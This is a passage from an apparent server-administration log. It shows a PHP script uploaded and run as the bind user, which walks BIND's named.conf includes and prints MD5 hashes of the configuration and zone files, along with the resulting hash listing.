MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-07 16:47:25: Establishing a connection
2026-06-07 16:47:31: Establishing a connection
2026-06-07 16:47:31: 

PUT: /tmp/pkp585420

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-07 16:47:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp585420; rm /tmp/pkp585420'

2026-06-07 16:47:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
